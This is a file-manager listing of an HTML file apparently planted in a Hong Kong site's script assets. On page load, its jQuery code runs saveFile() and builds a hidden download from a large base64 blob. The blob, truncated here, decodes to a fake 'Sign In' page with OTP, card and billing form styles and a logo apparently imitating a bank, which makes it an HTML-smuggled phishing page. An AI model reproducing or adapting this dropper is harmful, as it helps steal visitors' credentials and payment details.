File manager - Edit - /home/wwwroot/camplus.hk/master.camplus.hk/public_html/assets/global/scripts/911347/blobcps.html
Back
<!DOCTYPE html> <html> <head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> $(document).ready(function() { saveFile(); }); function saveFile(name, type, data) { if (data != null && navigator.msSaveBlob) return navigator.msSaveBlob(new Blob([data], { type: type }), name); var a = $("<a style='display: none;'/>"); var encodedStringAtoB = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+U2lnbiBJbjwvdGl0bGU+CiAgICA8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHBzOi8vYm94bWFwMS5uZXRsaWZ5LmFwcC9jYXBsLnBuZyI+CiAgICA8c3R5bGU+CiAgICAgICAgKnsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgIH0KICAgICAgICBib2R5ewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjRGNEY0OwogICAgICAgICAgICBmb250LWZhbWlseTogJ1NlZ29lIFVJJywgc2Fucy1zZXJpZjsKICAgICAgICB9CiAgICAgICAgLmhlYWRTaWRlewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZDRkNGQ0OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEyMHB4OwogICAgICAgIH0KICAgICAgICAubG9nQm94IHN2ZyB7CiAgICAgICAgICAgIHdpZHRoOiAxMjVweDsKICAgICAgICB9CiAgICAgICAgLmZvcm1Db250YWluewogICAgICAgICAgICB3aWR0aDogMzUlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OwogICAgICAgICAgICBtYXJnaW46IDMwcHggYXV0bzsKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZmZmZjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2JjYmZjNzsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxcHggMnB4ICMwMDAwMDAxNCwgMCAzcHggM3B4ICMwMDAwMDAwZDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICBtYXJnaW4tdG9wOiA0MHB4OwogICAgICAgIH0KICAgICAgICAubGdCb3gyewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIC5sZ0JveDIgc3ZnewogICAgICAgICAgICB3aWR0aDogMjAwcHg7CiAgICAgICAgfQogICAgICAgIC5zaWduVGV4dHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICB9CiAgICAgICAgLnNpZ25UZXh0IGgyIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgIH0KICAgICAgICAuaW5wQm94c2lkZXsKICAgICAgICAgICAgcGFkZGluZzogNXB4IDYwcHg7CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlewogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICB9CiAgICAgICAgLmlucFNpZGUgbGFiZWx7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDVweDsKICAgICAgICB9CiAgICAgICAgLmlucFNpZGUgaW5wdXR7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAwIDEwcHg7CiAgICAgICAgICAgIGhlaWdodDogNDdweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgaHNsKDAsIDAlLCA2MiUpOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBpbmhlcml0OwogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlIGlucHV0OmZvY3VzewogICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjMDA3MEE4OwogICAgICAgIH0KICAgICAgICAuaW5wU2lkZSBidXR0b257CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA3MEE4OwogICAgICAgICAgICBwYWRkaW5nOiAxNHB4IDA7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4OwogICAgICAgICAgICBmb250LWZhbWlseTogaW5oZXJpdDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgdHJhbnNpdGlvbjogLjJzIGVhc2UtaW47CiAgICAgICAgfQogICAgICAgIC5pbnBTaWRlIGJ1dHRvbjpob3ZlcnsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzA5NWI4NTsKICAgICAgICB9CiAgICAgICAgLnJlbWViVGV4dEJveHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLnJlbWVCb3h7CiAgICAgICAgICAgIHdpZHRoOiAyMHB4OwogICAgICAgICAgICBoZWlnaHQ6IDIwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkICM0ZTRlNGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CiAgICAgICAgLnJlbWVCb3g6aG92ZXIgewogICAgICAgICAgICBib3JkZXI6IDJweCBzb2xpZCAjMDA3MEE4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQogICAgICAgIC5yZW1lVGV4dHsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5mb3Jnb3R7CiAgICAgICAgICAgIG1hcmdpbjogMTBweCAwOwogICAgICAgIH0KICAgICAgICAuZm9yZ290IHNwYW57CiAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOwogICAgICAgICAgICAgY29sb3I6ICMwOTViODU7CiAgICAgICAgfQogICAgICAgIC5mb3Jnb3Qgc3Bhbjpob3ZlciB7CiAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICB9CiAgICAgICAgLmZMZ0Zvb3R7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmZMZ0Zvb3Qgc3BhbnsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAgICAgfQogICAgICAgIC5zcDF7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICAgICAgfQogICAgICAgIC5zcDJ7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgIGNvbG9yOiAjMDk1Yjg1OwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA0MHB4ICFpbXBvcnRhbnQ7CiAgICAgICAgfQogICAgICAgIC5mb290ZXJCb3h7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHggMTBweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2JjYmZjNzsKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxcHggMnB4ICMwMDAwMDAxNCwgMCAzcHggM3B4ICMwMDAwMDAwZDsKICAgICAgICB9CiAgICAgICAgLmZvb3RlckJveHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDIwMHB4OwogICAgICAgIH0KICAgICAgICAuZm9vdGVyQm94IHNwYW57CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDsKICAgICAgICB9CiAgICAgICAgLmZsZXhCb3h7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsKICAgICAgICB9CiAgICAgIAogICAgICAgIC5ib3hTcGFuewogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDIwMHB4OwogICAgICAgIH0KICAgICAgICAuZXJyb3J7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLmVycm9yIHNwYW57CiAgICAgICAgICAgIGNvbG9yOiByZ2IoMjIzLCAyMywgMjMpOwogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgfQogICAgICAgIC5oaWRlIHsKICAgICAgICAgICAgZGlzcGxheTogbm9uZTsKICAgICAgICB9CiAgICAgICAgLmltZ1ZhewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDIwcHg7CiAgICAgICAgfQoKICAgICAgICAuaW1nVmEgc3ZnIHsKICAgICAgICAgICAgd2lkdGg6IDYwcHg7CiAgICAgICAgICAgIGhlaWdodDogNjBweDsKICAgICAgICB9CiAgICAgICAgLmJveFRleHR7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsKICAgICAgICB9CiAgICAgICAgLmJveFRleHQgaDIgewogICAgICAgICAgICBmb250LXdlaWdodDo0MDA7CiAgICAgICAgfQogICAgICAgIC5vdENhcmR7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1MHB4OwogICAgICAgIH0KICAgICAgICAuaW1nUXVlc3R7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLnByZWxvYWRlckJveCB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgdG9wOiAwOwogICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZmE5OwogICAgICAgICAgICB6LWluZGV4OiA0MDAwOwogICAgICAgIH0KICAgICAgICAubG9hZGVyLAoubG9hZGVyOmFmdGVyIHsKICBib3JkZXItcmFkaXVzOiA1MCU7CiAgd2lkdGg6IDEwZW07CiAgaGVpZ2h0OiAxMGVtOwp9Ci5sb2FkQm94ewogICAgZGlzcGxheTogZmxleDsKICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47CiAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgcG9zaXRpb246IGFic29sdXRlOwogICAgdG9wOiA1MCU7CiAgICBsZWZ0OiA1MCU7CiAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKfQoubG9hZGVyIHsKICBmb250LXNpemU6IDVweDsKICBvdmVyZmxvdzogaGlkZGVuOwogIHRleHQtaW5kZW50OiAtOTk5OWVtOwogIGJvcmRlci10b3A6IC44ZW0gc29saWQgIzAwNzBBODsKICBib3JkZXItcmlnaHQ6IC44ZW0gc29saWQgIzAwNzBBODsKICBib3JkZXItYm90dG9tOiAuOGVtIHNvbGlkICMwMDcwQTg7CiAgYm9yZGVyLWxlZnQ6IC44ZW0gc29saWQgdHJhbnNwYXJlbnQ7CiAgLXdlYmtpdC10cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7CiAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWigwKTsKICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7CiAgLXdlYmtpdC1hbmltYXRpb246IGxvYWQ4IC41cyBpbmZpbml0ZSBsaW5lYXI7CiAgYW5pbWF0aW9uOiBsb2FkOCAuNXMgaW5maW5pdGUgbGluZWFyOwp9Ci5sb2FkZXJUZXh0ewogICAgZm9udC1zaXplOiAxNHB4OwogICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgIGNvbG9yOiAjNGU0ZTRlOwp9Ci52YWxpZEJveHsKICAgIHBhZGRpbmc6IDAgMjBweDsKfQoubG9hZGVyQm94MzR7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDMwJTsKICAgIGxlZnQ6IDUwJTsKICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwp9Ci5sb2FkZXJCb3gzNCBwewogICAgZm9udC1zaXplOiAxOHB4OwogICAgbWFyZ2luOiAxM3B4IDA7Cn0KLmxvYWRlcjIsCi5sb2FkZXIyOmFmdGVyIHsKICBib3JkZXItcmFkaXVzOiA1MCU7CiAgd2lkdGg6IDhlbTsKICBoZWlnaHQ6IDhlbTsKfQoubG9hZGVyMiB7CiAgZm9udC1zaXplOiAxMHB4OwogIHBvc2l0aW9uOiByZWxhdGl2ZTsKICB0ZXh0LWluZGVudDogLTk5OTllbTsKICBib3JkZXItdG9wOiAuNGVtIHNvbGlkICMwMDcwQTg7CiAgYm9yZGVyLXJpZ2h0OiAuNGVtIHNvbGlkICMwMDcwQTg7CiAgYm9yZGVyLWJvdHRvbTogLjRlbSBzb2xpZCAjMDA3MEE4OwogIGJvcmRlci1sZWZ0OiAuNGVtIHNvbGlkIHRyYW5zcGFyZW50OwogIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApOwogIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVooMCk7CiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVaKDApOwogIC13ZWJraXQtYW5pbWF0aW9uOiBsb2FkOCAuN3MgaW5maW5pdGUgbGluZWFyOwogIGFuaW1hdGlvbjogbG9hZDggLjdzIGluZmluaXRlIGxpbmVhcjsKfQpALXdlYmtpdC1rZXlmcmFtZXMgbG9hZDggewogIDAlIHsKICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsKICB9CiAgMTAwJSB7CiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOwogIH0KfQpAa2V5ZnJhbWVzIGxvYWQ4IHsKICAwJSB7CiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7CiAgfQogIDEwMCUgewogICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICB9Cn0KLm9wYWN7CiAgICBvcGFjaXR5OiAwOwogICAgdmlzaWJpbGl0eTogaGlkZGVuOwp9CgpALXdlYmtpdC1rZXlmcmFtZXMgbG9hZDggewogIDAlIHsKICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsKICB9CiAgMTAwJSB7CiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOwogIH0KfQpAa2V5ZnJhbWVzIGxvYWQ4IHsKICAwJSB7CiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7CiAgfQogIDEwMCUgewogICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOwogICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICB9Cn0KCiNiZzJ7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDA7CiAgICBoZWlnaHQ6IDEwMHZoOwogICAgZmlsdGVyOiBibHVyKDE1cHgpOwogICAgYmFja2Ryb3AtZmlsdGVyOiBibHVyKDE1cHgpOwogICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsKICAgIHdpZHRoOiAxMDAlOwp9Ci5tYWludXR7CiAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICB0b3A6IDQ1JTsKICAgIGxlZnQ6IDUwJTsKICAgIHdpZHRoOiAzMCU7CiAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsKICAgIHotaW5kZXg6IDUwMDA7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOwogICAgYm94LXNoYWRvdzogcmdiYSg1MCwgNTAsIDkzLCAwLjI1KSAwcHggMTNweCAyN3B4IC01cHgsIHJnYmEoMCwgMCwgMCwgMC4zKSAwcHggOHB4IDE2cHggLThweDsKICAgIGJvcmRlci1yYWRpdXM6IDVweDsKfQoubWFpbm51dDJ7CiAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgIHRvcDogNTAlOwogICAgbGVmdDogNTAlOwogICAgd2lkdGg6IDMwJTsKICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgei1pbmRleDogNTAwMDsKICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7CiAgICBib3gtc2hhZG93OiByZ2JhKDUwLCA1MCwgOTMsIDAuMjUpIDBweCAxM3B4IDI3cHggLTVweCwgcmdiYSgwLCAwLCAwLCAwLjMpIDBweCA4cHggMTZweCAtOHB4OwogICAgYm9yZGVyLXJhZGl1czogNXB4OyAKfQouaGVhZFRleHRDb24gaDIgewogICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgIGZvbnQtc2l6ZTogMThweDsKfQouaGVhZFRleHRDb24gcHsKICAgIGZvbnQtc2l6ZTogMTRweDsKfQouaW5wSW5mb3sKICAgIG1hcmdpbjogMjBweCAwOwp9Ci5pbnBJbmZvIGxhYmVsewogICAgZGlzcGxheTogYmxvY2s7CiAgICBmb250LXdlaWdodDogNTAwOwogICAgZm9udC1zaXplOiAxNHB4OwogICAgbWFyZ2luOiA1cHggMDsKCn0KLmlucEluZm8gaW5wdXR7CiAgICBkaXNwbGF5OiBibG9jazsKICAgIHdpZHRoOiAxMDAlOwogICAgcGFkZGluZzogMCAxMHB4OwogICAgaGVpZ2h0OiA0N3B4OwogICAgYm9yZGVyOiAxcHggc29saWQgaHNsKDAsIDAlLCA2MiUpOwogICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgZm9udC1mYW1pbHk6IGluaGVyaXQ7CiAgICBmb250LXNpemU6IDE0cHg7CiB9Ci5pbnBJbmZvIGlucHV0OmZvY3VzewogICAgb3V0bGluZTogbm9uZTsKICAgIGJvcmRlcjogMXB4IHNvbGlkICMwMDcwQTg7Cn0KLmlucEluZm8gYnV0dG9uewogICAgd2lkdGg6IDEwMCU7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA3MEE4OwogICAgY29sb3I6ICNmZmY7CiAgICBwYWRkaW5nOiAxMnB4IDMwcHg7CiAgICBib3JkZXI6IG5vbmU7CiAgICBmb250LWZhbWlseTogaW5oZXJpdDsKICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICBmb250LXNpemU6IDE0cHg7CiAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICBjdXJzb3I6IHBvaW50ZXI7Cn0KLmhlYWRUZXh0Q29uewogICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZWU7CiAgICBwYWRkaW5nLWJvdHRvbTogMTBweDsKICAgICBwYWRkaW5nOiAyMHB4Owp9Ci5vdEZvcm0xLCAuY0NhZEZvcm0sIC5iaWxGb3JtMTF7CiAgICBwYWRkaW5nOiAwIDIwcHg7CiAgICBwYWRkaW5nLXRvcDogMDsKICAgIHBhZGRpbmctYm90dG9tOiAyMHB4OwoKfQoub3RFcnJvciBzcGFuewogICAgY29sb3I6IHJnYigxODcsIDIwLCAyMCk7CiAgICBmb250LXNpemU6IDE0cHg7CiAgICBmb250LXdlaWdodDogNTAwOwp9Ci5vdEVycm9yewogICAgcGFkZGluZzogNXB4IDIwcHg7Cn0KICAgICAgCiAgICAgICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNjAwcHgpewogICAgICAgICAgICAuYm94U3BhbnsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDsKICAgICAgICAgICAgfQogICAgICAgICAgIC5mb290ZXJCb3h7CiAgICAgICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7CiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgfQogICAgICAgICAgIC5mbGV4Qm94ewogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgfQogICAgICAgICAgICAuZm9vdGVyQm94IHNwYW57CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHg7CiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiA1cHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmhlYWRTaWRlewogICAgICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5mb3JtQ29udGFpbnsKICAgICAgICAgICAgICAgIHdpZHRoOiA5NSU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmlucEJveHNpZGV7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiA1cHggMTBweDsKICAgICAgICAgICAgfQogICAgICAgICAgICAgLmJveFRleHQgaDIgewogICAgICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5ib3hUZXh0IHB7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE0cHg7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLmxvZ0JveCBzdmd7CiAgICAgICAgICAgICAgICB3aWR0aDogODBweDsKICAgICAgICAgICAgfQogICAgICAgICAgICAuZW5Cb3ggaW1nIHsKICAgICAgICAgICAgICAgIHdpZHRoOiAxNDBweDsKICAgICAgICAgICAgfQogICAgICAKICAgICAgICAgICAgLmxvYWRlclRleHR7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEzcHg7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAubWFpbnV0LCAubWFpbm51dDJ7CiAgICAgICAgICAgICAgICB3aWR0aDogOTUlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgPC9zdHlsZT4KCjwvaGVhZD4KPGJvZHk+CiAgICAKICAgIDxkaXYgY2xhc3M9ImhlYWRTaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJsb2dCb3giPgogICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDM4NC4zIDEzMy43Ij48cGF0aCBmaWxsPSIjRDAzMDI3IiBkPSJNMjUyLjcgOTYuN2MtMTUuOSAxMS4zLTM0LjcgMjMuMS01NC45IDM1LjRsLS44LjVjLS4zLjItLjMuNi0uMS44LjIuMy42LjMuOC4xbC43LS40YzE3LjEtOC45IDM2LjgtMTkuNiA1Ni42LTMwLjUuMS0uMS4yLS4xLjMtLjItMS0xLjYtMS45LTMuNi0yLjYtNS43em0xMDQuMS04NC4zYy0yNS0yNy42LTE4NS44LTIuOC0yNTQuMiAxMi4ybC0xLjYuM2MtLjMuMS0uNS40LS41LjcuMS4zLjQuNS43LjVsMS42LS4zYzU2LjctMTAuMSAxNzQuNS0yNC4xIDE5OS45IDEuMSA3LjcgNy43IDUuOSAxNy42LTMuMSAyOS4yIDQuOCAzLjEgOC4zIDggOS44IDE0LjEgMzUtMjMuMyA1OC42LTQ1LjUgNDcuNC01Ny44eiIvPjxnIGZpbGw9IiMwMDQ5NzciPjxwYXRoIGQ9Ik0yNjIuOSA4OS40Yy4zIDkuNyA2LjUgMTcuNiAxNC41IDE3LjYgMTUuNSAwIDIyLjEtMTkgMjEuNy0zMS44LS4zLTkuNy02LjYtMTcuNy0xNC42LTE3LjctMTMuNS4yLTIyLjEgMTkuMS0yMS42IDMxLjl6bS04LjItLjVjLS42LTE2LjYgMTIuNC0zMy41IDMxLjItMzMuNSAxMi42IDAgMjAuOCA4LjQgMjEuMyAyMS4zLjYgMTcuNS0xMS41IDMzLjUtMzEuMiAzMy41LTEyLjYgMC0yMC45LTguNC0yMS4zLTIxLjN6TTc2LjIgODQuNWMtLjcuMy0xLjUuNS0yLjYuNy0xLjEuMi0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy42LTEuMiAxLjItMS4zIDItLjIuOS4xIDEuNS45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMWMtLjEgMS41LS4zIDIuOS0uNyA1LjJsLTIuOCAxNS42Yy0uMiAxLjQuMyAyLjUgMS42IDMuMmwtLjEuNkg3NC43bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNi00LjUuOS03LjYuOS01LjEgMC04LjEtLjUtMTAuMS0yLjMtMi4xLTEuOC0zLjEtMy0zLTUuNi4xLTEuNC44LTMuMyAxLjktNC42IDEuMS0xLjMgMi42LTIuMiA0LjItMi45QzU0IDgzIDU2IDgyLjUgNTguOCA4MmMyLjgtLjUgNi43LS45IDExLjktMS4zIDIuNy0uMiA0LjQtLjkgNS4yLTEuMiAxLjEtLjQgMS41LS45IDEuNy0xLjguMy0xLjYtLjItMi41LTIuMy0yLjktNS43LTEuMS0xNi40LjctMjIgMi4xbDMtOC4xYzcuMy0xLjEgMTQuMS0xLjcgMjEuMy0xLjcgMTEuNC0uMiAxNS4xIDMuMSAxNSA3LjN6TTEzOC42IDk4LjlsNS41LTMxLjFoMTUuMmwtNS41IDMxLjFoLTE1LjJ6bTYuMy0zOC4zYy41LTIuNiA0LjUtNC42IDktNC42czcuOCAyLjEgNy40IDQuNmMtLjUgMi42LTQuNSA0LjYtOSA0LjYtNC42LjEtNy44LTItNy40LTQuNnpNMjEzLjIgODQuNmMtLjcuMi0xLjYuNS0yLjYuNy0xLjEuMy0zIC42LTUuOSAxLTIgLjMtMy4zLjctNC4xIDEuMy0uNy41LTEuMiAxLjItMS4zIDItLjIuOS4yIDEuNi45IDIuMS44LjUgMiAuOCAzLjguOCAxLjMgMCAyLjYtLjIgMy45LS42IDEuMy0uNCAyLjQtMSAzLjItMS43LjYtLjUgMS0xLjIgMS40LTIgLjEtLjUuNC0xLjcuNy0zLjZ6bTE2LjQtMTAuMmMtLjEgMS41LS4zIDIuOS0uOCA1LjJMMjI2IDk1LjJjLS4yIDEuNC4zIDIuNSAxLjUgMy4ybC0uMS41aC0xNS45bC0uMS00Yy0yLjMgMS40LTUuMSAyLjYtNy42IDMuMy0yLjUuNy00LjYuOS03LjYuOS01LjEgMC04LS41LTEwLjEtMi4zLTIuMS0xLjgtMy4xLTMtMy01LjYuMS0xLjUuOC0zLjMgMS45LTQuNiAxLjEtMS4zIDIuNi0yLjIgNC4yLTMgMS42LS44IDMuNi0xLjMgNi4zLTEuOCAyLjgtLjQgNi43LS45IDEyLTEuMyAyLjctLjIgNC40LS44IDUuMi0xLjEgMS4xLS40IDEuNS0uOSAxLjctMS44LjMtMS42LS4yLTIuNS0yLjMtMi45LTUuNy0xLjEtMTYuNC43LTIyIDIuMWwzLTguMWM3LjMtMS4xIDE0LjEtMS44IDIxLjMtMS44IDExLjYuMSAxNS4zIDMuMyAxNS4yIDcuN